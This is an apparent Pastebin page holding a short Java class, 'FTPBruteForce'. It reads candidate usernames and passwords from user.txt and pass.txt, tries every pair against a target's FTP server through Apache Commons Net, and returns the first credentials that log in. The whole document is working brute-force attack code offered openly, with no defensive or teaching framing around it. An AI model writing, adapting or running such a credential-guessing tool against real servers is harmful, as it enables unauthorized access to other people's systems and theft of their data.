Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.IOException;
- import org.apache.commons.net.ftp.*;
- import java.io.*;
- public class FTPBruteForce
- {
- public FTPBruteForce()
- {
- }
- public credenciales crackFTP(String ip)
- {
- String j;
- String k;
- ip = "ftp." + ip;
- credenciales acertado = new credenciales();
- credenciales fallado = new credenciales();
- try{
- File us = new File("user.txt");
- FileReader usr=new FileReader(us);
- BufferedReader busr = new BufferedReader(usr);
- while((j = busr.readLine()) != null){
- File ps = new File("pass.txt");
- FileReader psr=new FileReader(ps);
- BufferedReader bpsr = new BufferedReader(psr);
- while((k = bpsr.readLine()) != null){
- if (conectarFTP(j, k, ip)){
- acertado.modificarUser(j);
- acertado.modificarPass(k);
- return acertado;
- }
- }
- }
- fallado.modificarUser(null);
- fallado.modificarPass(null);
- return fallado;
- }
- catch(IOException e){
- System.out.println("Falta user.txt o pass.txt");
- fallado.modificarUser(null);
- fallado.modificarPass(null);
- return fallado;
- }
- }
- public boolean conectarFTP(String user, String Pass, String ip){
- FTPClient client = new FTPClient();
- try{
- client.connect(ip);
- boolean login = client.login(user,Pass);
- client.logout();
- return login;
- }
- catch(IOException e){
- }
- return false;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement